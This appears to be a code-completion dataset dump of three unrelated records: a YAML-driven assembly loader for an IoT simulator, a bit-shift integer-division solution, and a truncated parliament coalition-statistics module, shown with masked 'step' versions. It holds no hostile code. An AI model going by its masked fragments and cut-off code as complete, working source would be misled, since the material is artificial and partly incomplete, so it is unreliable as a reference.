raise KeyError("Reader definition is missing mandatory key 'label'")
reader_parameters = reader_definition.get('parameters', dict())
reader_class = inventory('reader', reader_type)
readers[reader_label] = reader_class(**reader_parameters)
assembly_readers = config['assembly'].get('readers', dict())
for signal_name, reader_label in assembly_readers.items():
try:
reader = readers[reader_label]
except KeyError:
raise KeyError("Undefined reader label '{}' in aseembly definition".
format(reader_label))
if signal_name == 'default':
assembly_template.attach_reader(reader)
else:
assembly_template.attach_reader(reader, signal_name)
networks_definitions = config.get('networks', list())
networks = dict()
for network_definition in networks_definitions:
try:
network_type = network_definition.pop('type')
except KeyError:
raise KeyError("network definition is missing mandatory key 'type'")
try:
network_label = network_definition.pop('label')
except KeyError:
raise KeyError("network definition is missing mandatory key 'label'")
network_parameters = network_definition.get('parameters', dict())
network_class = inventory('network', network_type)
networks[network_label] = network_class(**network_parameters)
assembly_networks = config['assembly'].get('networks', dict())
for signal_name, network_label in assembly_networks.items():
try:
network = networks[network_label]
except KeyError:
raise KeyError("Undefined network label '{}' in aseembly definition".
format(network_label))
if signal_name == 'default':
assembly_template.attach_network(network)
else:
assembly_template.attach_network(network, signal_name)
assembly = assembly_template()
return assembly
|
flexible
|
{
"blob_id": "1450d3b8cc4cef1c5f802e4d84e2211b7467fe12",
"index": 2212,
"step-1": "<mask token>\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\ndef _from_config(config):\n try:\n config.items()\n except:\n raise TypeError('Consfis must be a disctionary. Got {}'.format(type\n (config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\"\n )\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\"\n .format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\"\n )\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\n \"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\n \"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n assembly = assembly_template()\n return assembly\n",
"step-3": "<mask token>\n_inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw=\n contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=\n contructors.SimpleActuator), reader=dict(PassThrough=readers.\n PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.\n OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal=\n networks.NormalNetwork))\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\ndef _from_config(config):\n try:\n config.items()\n except:\n raise TypeError('Consfis must be a disctionary. Got {}'.format(type\n (config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\"\n )\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\"\n .format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\"\n )\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\n \"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\n \"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n assembly = assembly_template()\n return assembly\n",
"step-4": "import iotsim.readers as readers\nimport iotsim.networks as networks\nimport iotsim.constructors as contructors\nimport yaml\n_inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw=\n contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=\n contructors.SimpleActuator), reader=dict(PassThrough=readers.\n PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.\n OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal=\n networks.NormalNetwork))\n\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError('Illegal assembly component: {}'.format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError('{} type `{}` is not listed in the inventory'.\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n return _from_config(config)\n\n\ndef _from_config(config):\n try:\n config.items()\n except:\n raise TypeError('Consfis must be a disctionary. Got {}'.format(type\n (config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\"\n )\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\"\n .format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\"\n )\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\n \"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\n \"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n assembly = assembly_template()\n return assembly\n",
"step-5": "import iotsim.readers as readers\nimport iotsim.networks as networks\nimport iotsim.constructors as contructors\n\nimport yaml\n\n\n_inventory = dict(\n\n assembly=dict(\n Flatline=contructors.Flatline,\n Seasaw=contructors.Seesaw,\n Pulser=contructors.Pulser,\n SimpleActuator=contructors.SimpleActuator,\n ),\n\n reader=dict(\n PassThrough=readers.PassthroughReader,\n EveryNth=readers.EveryNthReader,\n OnChange=readers.OnChangeReader,\n ),\n\n network = dict(\n Ideal = networks.IdealNetwork,\n Normal = networks.NormalNetwork,\n ),\n)\n\ndef inventory(component, component_type):\n try:\n component_inventory = _inventory[component]\n except KeyError:\n raise ValueError(\"Illegal assembly component: {}\".format(component))\n try:\n component_class = component_inventory[component_type]\n except KeyError:\n raise ValueError(\"{} type `{}` is not listed in the inventory\".\n format(component, component_type))\n return component_class\n\n\ndef from_config(config):\n try:\n config.items()\n except AttributeError:\n with open(str(config), 'r') as f:\n config = yaml.load(f, Loader=yaml.SafeLoader)\n\n return _from_config(config)\n\ndef _from_config(config):\n\n try:\n config.items()\n except:\n raise TypeError(\"Consfis must be a disctionary. Got {}\".format(type(config)))\n if not 'assembly' in config:\n raise KeyError(\"Config is missing mandatory key 'assembly'\")\n if not 'type' in config['assembly']:\n raise KeyError(\"Assembly definition is missing mandatory key 'type'\")\n\n constructor = inventory('assembly', config['assembly']['type'])\n assembly_params = config['assembly'].get('parameters', dict())\n assembly_template = constructor(**assembly_params)\n\n readers_definitions = config.get('readers', list())\n readers = dict()\n for reader_definition in readers_definitions:\n try:\n reader_type = reader_definition.pop('type')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'type'\")\n try:\n reader_label = reader_definition.pop('label')\n except KeyError:\n raise KeyError(\"Reader definition is missing mandatory key 'label'\")\n reader_parameters = reader_definition.get('parameters', dict())\n reader_class = inventory('reader', reader_type)\n readers[reader_label] = reader_class(**reader_parameters)\n\n assembly_readers = config['assembly'].get('readers', dict())\n for signal_name, reader_label in assembly_readers.items():\n try:\n reader = readers[reader_label]\n except KeyError:\n raise KeyError(\"Undefined reader label '{}' in aseembly definition\".\n format(reader_label))\n if signal_name == 'default':\n assembly_template.attach_reader(reader)\n else:\n assembly_template.attach_reader(reader, signal_name)\n\n networks_definitions = config.get('networks', list())\n networks = dict()\n for network_definition in networks_definitions:\n try:\n network_type = network_definition.pop('type')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'type'\")\n try:\n network_label = network_definition.pop('label')\n except KeyError:\n raise KeyError(\"network definition is missing mandatory key 'label'\")\n network_parameters = network_definition.get('parameters', dict())\n network_class = inventory('network', network_type)\n networks[network_label] = network_class(**network_parameters)\n\n assembly_networks = config['assembly'].get('networks', dict())\n for signal_name, network_label in assembly_networks.items():\n try:\n network = networks[network_label]\n except KeyError:\n raise KeyError(\"Undefined network label '{}' in aseembly definition\".\n format(network_label))\n if signal_name == 'default':\n assembly_template.attach_network(network)\n else:\n assembly_template.attach_network(network, signal_name)\n\n assembly = assembly_template()\n return assembly\n",
"step-ids": [
2,
3,
4,
5,
6
]
}
|
[
2,
3,
4,
5,
6
] |
# MEDIUM
# TLE if decrement divisor only
# Bit manipulation.
# input: 100 / 3
# times = 0
# 3 << 0 = 3
# 3 << 1 = 6
# 3 << 2 = 12
# 3 << 3 = 24
# 3 << 4 = 48
# 3 << 5 = 96
# 3 << 6 = 192 => greater than dividend 100 => stop here
# times -=1 because 3 << 6 is too big
# result += 1 << times => divided by 32
# set dividend to dividend -= divisor << times
# times O(log N) Space O(1)
class Solution:
def divide(self, dividend: int, divisor: int) -> int:
if dividend == -2**31 and divisor == -1:
return 2**31-1
if dividend == 0:
return 0
sign = dividend>=0 and divisor>=0 or (dividend<0 and divisor<0)
left,right = abs(dividend),abs(divisor)
result = 0
while left>= right:
count = 0
while left >= right<< count:
count += 1
#print('count',count)
# count -1 because right * count > left
result += 1 << (count-1)
#print("result",result)
left -= right << (count-1)
#print("dividend",left)
return result if sign else -result
|
normal
|
{
"blob_id": "d1864f454b1909196fd9a6e2279b23f4c4148917",
"index": 7232,
"step-1": "<mask token>\n",
"step-2": "class Solution:\n <mask token>\n",
"step-3": "class Solution:\n\n def divide(self, dividend: int, divisor: int) ->int:\n if dividend == -2 ** 31 and divisor == -1:\n return 2 ** 31 - 1\n if dividend == 0:\n return 0\n sign = dividend >= 0 and divisor >= 0 or dividend < 0 and divisor < 0\n left, right = abs(dividend), abs(divisor)\n result = 0\n while left >= right:\n count = 0\n while left >= right << count:\n count += 1\n result += 1 << count - 1\n left -= right << count - 1\n return result if sign else -result\n",
"step-4": "# MEDIUM\n# TLE if decrement divisor only \n\n# Bit manipulation.\n# input: 100 / 3 \n\n# times = 0\n# 3 << 0 = 3\n# 3 << 1 = 6\n# 3 << 2 = 12\n# 3 << 3 = 24\n# 3 << 4 = 48\n# 3 << 5 = 96\n# 3 << 6 = 192 => greater than dividend 100 => stop here \n# times -=1 because 3 << 6 is too big \n# result += 1 << times => divided by 32 \n# set dividend to dividend -= divisor << times \n\n# times O(log N) Space O(1)\n\n\nclass Solution:\n def divide(self, dividend: int, divisor: int) -> int:\n if dividend == -2**31 and divisor == -1:\n return 2**31-1\n if dividend == 0:\n return 0\n sign = dividend>=0 and divisor>=0 or (dividend<0 and divisor<0)\n left,right = abs(dividend),abs(divisor)\n result = 0\n while left>= right:\n count = 0\n while left >= right<< count:\n \n count += 1\n \n #print('count',count)\n # count -1 because right * count > left\n result += 1 << (count-1)\n #print(\"result\",result)\n left -= right << (count-1)\n #print(\"dividend\",left)\n \n return result if sign else -result \n \n ",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
class HoR(object):
<|reserved_special_token_0|>
def __init__(self, parties, name='HoR'):
self.name = name
self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.
votes), reverse=True))
self._party_mapping = {p.name: p for p in self._parties}
def __getitem__(self, item):
return self._party_mapping[item]
@property
def parties(self):
return self._parties
def seats_list(self):
return [p.seats for p in self._parties]
def votes_list(self):
return [p.votes for p in self._parties]
def names_list(self):
return [p.name for p in self._parties]
def vote_shares_list(self):
v = self.votes
return [(vi / v) for vi in self.votes_list()]
def seat_shares_list(self):
s = self.seats
return [(si / s) for si in self.seats_list()]
@property
def seats(self):
return sum(self.seats_list())
<|reserved_special_token_0|>
def top(self, n=1):
return Coalition(self, self._parties[:n])
def as_coalition(self):
return Coalition(self, self._parties)
def __contains__(self, item):
return item in self._parties
def __iter__(self):
return iter(self._parties)
def iter_coalitions(self):
for n in range(1, len(self)):
for coalition in itertools.combinations(self._parties, n):
yield Coalition(self, coalition)
def __len__(self):
return len(self._parties)
<|reserved_special_token_0|>
def same_as(self, hor):
return self.parties == hor.parties
def __eq__(self, other):
return self.seats == other.seats
def __gt__(self, other):
return self.seats > other.seats
def __ge__(self, other):
return self.seats >= other.seats
def __le__(self, other):
return self.seats <= other.seats
def __lt__(self, other):
return self.seats < other.seats
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
class Coalition(HoR):
def __init__(self, hor, parties, name='Coalition', *, _opposition=None):
super().__init__(parties, name=name)
self._hor = hor
self._opposition = _opposition
@property
def opposition(self):
if self._opposition is None:
others = [p for p in self._hor if p not in self]
self._opposition = Coalition(self._hor, others, _opposition=self)
return self._opposition
@property
def hor(self):
return self._hor
def __add__(self, other):
if isinstance(other, Party):
if other in self:
raise ValueError('{} is already present in HoR'.format(other))
new = self._parties + (other,)
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if intercept:
raise ValueError('{} are already present in HoR'.format(
intercept))
new = self._parties + tuple(other)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def __sub__(self, other):
if isinstance(other, Party):
if other not in self:
raise ValueError('{} is not present in HoR'.format(other))
new = set(self._parties) - {other}
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if not intercept:
raise ValueError('{} are not present in HoR'.format(intercept))
new = set(self._parties) - set(other.parties)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def has_key_party(self, party):
if party not in self:
return False
else:
opposition = self.opposition
return self > opposition and self - party <= opposition + party
def key_parties(self):
return list(filter(self.has_key_party, self.parties))
def is_minimum_winning(self):
return all(map(self.has_key_party, self.parties))
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class HoR(object):
<|reserved_special_token_0|>
def __init__(self, parties, name='HoR'):
self.name = name
self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.
votes), reverse=True))
self._party_mapping = {p.name: p for p in self._parties}
def __getitem__(self, item):
return self._party_mapping[item]
@property
def parties(self):
return self._parties
def seats_list(self):
return [p.seats for p in self._parties]
def votes_list(self):
return [p.votes for p in self._parties]
def names_list(self):
return [p.name for p in self._parties]
def vote_shares_list(self):
v = self.votes
return [(vi / v) for vi in self.votes_list()]
def seat_shares_list(self):
s = self.seats
return [(si / s) for si in self.seats_list()]
@property
def seats(self):
return sum(self.seats_list())
<|reserved_special_token_0|>
def top(self, n=1):
return Coalition(self, self._parties[:n])
def as_coalition(self):
return Coalition(self, self._parties)
def __contains__(self, item):
return item in self._parties
def __iter__(self):
return iter(self._parties)
def iter_coalitions(self):
for n in range(1, len(self)):
for coalition in itertools.combinations(self._parties, n):
yield Coalition(self, coalition)
def __len__(self):
return len(self._parties)
def __hash__(self):
return hash(self._parties)
def same_as(self, hor):
return self.parties == hor.parties
def __eq__(self, other):
return self.seats == other.seats
def __gt__(self, other):
return self.seats > other.seats
def __ge__(self, other):
return self.seats >= other.seats
def __le__(self, other):
return self.seats <= other.seats
def __lt__(self, other):
return self.seats < other.seats
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
class Coalition(HoR):
def __init__(self, hor, parties, name='Coalition', *, _opposition=None):
super().__init__(parties, name=name)
self._hor = hor
self._opposition = _opposition
@property
def opposition(self):
if self._opposition is None:
others = [p for p in self._hor if p not in self]
self._opposition = Coalition(self._hor, others, _opposition=self)
return self._opposition
@property
def hor(self):
return self._hor
def __add__(self, other):
if isinstance(other, Party):
if other in self:
raise ValueError('{} is already present in HoR'.format(other))
new = self._parties + (other,)
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if intercept:
raise ValueError('{} are already present in HoR'.format(
intercept))
new = self._parties + tuple(other)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def __sub__(self, other):
if isinstance(other, Party):
if other not in self:
raise ValueError('{} is not present in HoR'.format(other))
new = set(self._parties) - {other}
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if not intercept:
raise ValueError('{} are not present in HoR'.format(intercept))
new = set(self._parties) - set(other.parties)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def has_key_party(self, party):
if party not in self:
return False
else:
opposition = self.opposition
return self > opposition and self - party <= opposition + party
def key_parties(self):
return list(filter(self.has_key_party, self.parties))
def is_minimum_winning(self):
return all(map(self.has_key_party, self.parties))
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class HoR(object):
<|reserved_special_token_0|>
def __init__(self, parties, name='HoR'):
self.name = name
self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.
votes), reverse=True))
self._party_mapping = {p.name: p for p in self._parties}
def __getitem__(self, item):
return self._party_mapping[item]
@property
def parties(self):
return self._parties
def seats_list(self):
return [p.seats for p in self._parties]
def votes_list(self):
return [p.votes for p in self._parties]
def names_list(self):
return [p.name for p in self._parties]
def vote_shares_list(self):
v = self.votes
return [(vi / v) for vi in self.votes_list()]
def seat_shares_list(self):
s = self.seats
return [(si / s) for si in self.seats_list()]
@property
def seats(self):
return sum(self.seats_list())
@property
def votes(self):
return sum(self.votes_list())
def top(self, n=1):
return Coalition(self, self._parties[:n])
def as_coalition(self):
return Coalition(self, self._parties)
def __contains__(self, item):
return item in self._parties
def __iter__(self):
return iter(self._parties)
def iter_coalitions(self):
for n in range(1, len(self)):
for coalition in itertools.combinations(self._parties, n):
yield Coalition(self, coalition)
def __len__(self):
return len(self._parties)
def __hash__(self):
return hash(self._parties)
def same_as(self, hor):
return self.parties == hor.parties
def __eq__(self, other):
return self.seats == other.seats
def __gt__(self, other):
return self.seats > other.seats
def __ge__(self, other):
return self.seats >= other.seats
def __le__(self, other):
return self.seats <= other.seats
def __lt__(self, other):
return self.seats < other.seats
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
<|reserved_special_token_0|>
def map_stat(self, stat):
if stat in ('seats', 'votes'):
return {party.name: getattr(party, stat) for party in self._parties
}
elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats.
jonson_general, stats.jonson_influence, stats.
digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel
):
return {party.name: stat(self, party) for party in self._parties}
elif stat not in ('bantsaf_influence', 'shepli_shubic',
'jonson_general', 'jonson_influence', 'digen_pakel_general',
'digen_pakel_influence', 'holer_pakel'):
raise ValueError('Stat {} cannot be computed'.format(stat))
return {party.name: getattr(self, stat)(party) for party in self.
_parties}
class Coalition(HoR):
def __init__(self, hor, parties, name='Coalition', *, _opposition=None):
super().__init__(parties, name=name)
self._hor = hor
self._opposition = _opposition
@property
def opposition(self):
if self._opposition is None:
others = [p for p in self._hor if p not in self]
self._opposition = Coalition(self._hor, others, _opposition=self)
return self._opposition
@property
def hor(self):
return self._hor
def __add__(self, other):
if isinstance(other, Party):
if other in self:
raise ValueError('{} is already present in HoR'.format(other))
new = self._parties + (other,)
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if intercept:
raise ValueError('{} are already present in HoR'.format(
intercept))
new = self._parties + tuple(other)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def __sub__(self, other):
if isinstance(other, Party):
if other not in self:
raise ValueError('{} is not present in HoR'.format(other))
new = set(self._parties) - {other}
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if not intercept:
raise ValueError('{} are not present in HoR'.format(intercept))
new = set(self._parties) - set(other.parties)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def has_key_party(self, party):
if party not in self:
return False
else:
opposition = self.opposition
return self > opposition and self - party <= opposition + party
def key_parties(self):
return list(filter(self.has_key_party, self.parties))
def is_minimum_winning(self):
return all(map(self.has_key_party, self.parties))
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class HoR(object):
"""House of Representatives"""
def __init__(self, parties, name='HoR'):
self.name = name
self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.
votes), reverse=True))
self._party_mapping = {p.name: p for p in self._parties}
def __getitem__(self, item):
return self._party_mapping[item]
@property
def parties(self):
return self._parties
def seats_list(self):
return [p.seats for p in self._parties]
def votes_list(self):
return [p.votes for p in self._parties]
def names_list(self):
return [p.name for p in self._parties]
def vote_shares_list(self):
v = self.votes
return [(vi / v) for vi in self.votes_list()]
def seat_shares_list(self):
s = self.seats
return [(si / s) for si in self.seats_list()]
@property
def seats(self):
return sum(self.seats_list())
@property
def votes(self):
return sum(self.votes_list())
def top(self, n=1):
return Coalition(self, self._parties[:n])
def as_coalition(self):
return Coalition(self, self._parties)
def __contains__(self, item):
return item in self._parties
def __iter__(self):
return iter(self._parties)
def iter_coalitions(self):
for n in range(1, len(self)):
for coalition in itertools.combinations(self._parties, n):
yield Coalition(self, coalition)
def __len__(self):
return len(self._parties)
def __hash__(self):
return hash(self._parties)
def same_as(self, hor):
return self.parties == hor.parties
def __eq__(self, other):
return self.seats == other.seats
def __gt__(self, other):
return self.seats > other.seats
def __ge__(self, other):
return self.seats >= other.seats
def __le__(self, other):
return self.seats <= other.seats
def __lt__(self, other):
return self.seats < other.seats
haar = stats.haar
dev = stats.dev
ens = stats.ens
env = stats.env
rrp = stats.rrp
bantsaf_influence = stats.bantsaf_influence
shepli_shubic = stats.shepli_shubic
jonson_general = stats.jonson_general
jonson_influence = stats.jonson_influence
digen_pakel_general = stats.digen_pakel_general
digen_pakel_influence = stats.digen_pakel_influence
holer_pakel = stats.holer_pakel
describe = stats.describe
def map_stat(self, stat):
if stat in ('seats', 'votes'):
return {party.name: getattr(party, stat) for party in self._parties
}
elif stat in (stats.bantsaf_influence, stats.shepli_shubic, stats.
jonson_general, stats.jonson_influence, stats.
digen_pakel_general, stats.digen_pakel_influence, stats.holer_pakel
):
return {party.name: stat(self, party) for party in self._parties}
elif stat not in ('bantsaf_influence', 'shepli_shubic',
'jonson_general', 'jonson_influence', 'digen_pakel_general',
'digen_pakel_influence', 'holer_pakel'):
raise ValueError('Stat {} cannot be computed'.format(stat))
return {party.name: getattr(self, stat)(party) for party in self.
_parties}
class Coalition(HoR):
def __init__(self, hor, parties, name='Coalition', *, _opposition=None):
super().__init__(parties, name=name)
self._hor = hor
self._opposition = _opposition
@property
def opposition(self):
if self._opposition is None:
others = [p for p in self._hor if p not in self]
self._opposition = Coalition(self._hor, others, _opposition=self)
return self._opposition
@property
def hor(self):
return self._hor
def __add__(self, other):
if isinstance(other, Party):
if other in self:
raise ValueError('{} is already present in HoR'.format(other))
new = self._parties + (other,)
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if intercept:
raise ValueError('{} are already present in HoR'.format(
intercept))
new = self._parties + tuple(other)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def __sub__(self, other):
if isinstance(other, Party):
if other not in self:
raise ValueError('{} is not present in HoR'.format(other))
new = set(self._parties) - {other}
elif isinstance(other, Coalition) and other.hor.same_as(self.hor):
intercept = set(other) & set(self._parties)
if not intercept:
raise ValueError('{} are not present in HoR'.format(intercept))
new = set(self._parties) - set(other.parties)
else:
raise TypeError('Wrong type for {}'.format(other))
return self.__class__(self.hor, new)
def has_key_party(self, party):
if party not in self:
return False
else:
opposition = self.opposition
return self > opposition and self - party <= opposition + party
def key_parties(self):
return list(filter(self.has_key_party, self.parties))
def is_minimum_winning(self):
return all(map(self.has_key_party, self.parties))
<|reserved_special_token_1|>
import collections
import itertools
from . import stats
__all__ = [
'Party',
'HoR',
'Coalition'
]
Party = collections.namedtuple('Party', 'name,votes,seats')
class HoR(object):
"""House of Representatives"""
def __init__(self, parties, name='HoR'):
self.name = name
self._parties = tuple(sorted(parties, key=lambda p: (p.seats, p.votes), reverse=True))
self._party_mapping = {p.name: p for p in self._parties}
def __getitem__(self, item):
return self._party_mapping[item]
@property
def parties(self):
return self._parties
def seats_list(self):
return [p.seats for p in self._parties]
def votes_list(self):
